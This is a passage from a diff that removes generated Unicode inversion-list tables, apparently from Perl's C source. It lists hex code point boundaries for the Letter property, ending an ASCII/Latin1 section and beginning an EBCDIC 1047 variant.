0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_L_invlist[] = { /* for EBCDIC 1047 */ - 1197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3007, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6E6, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 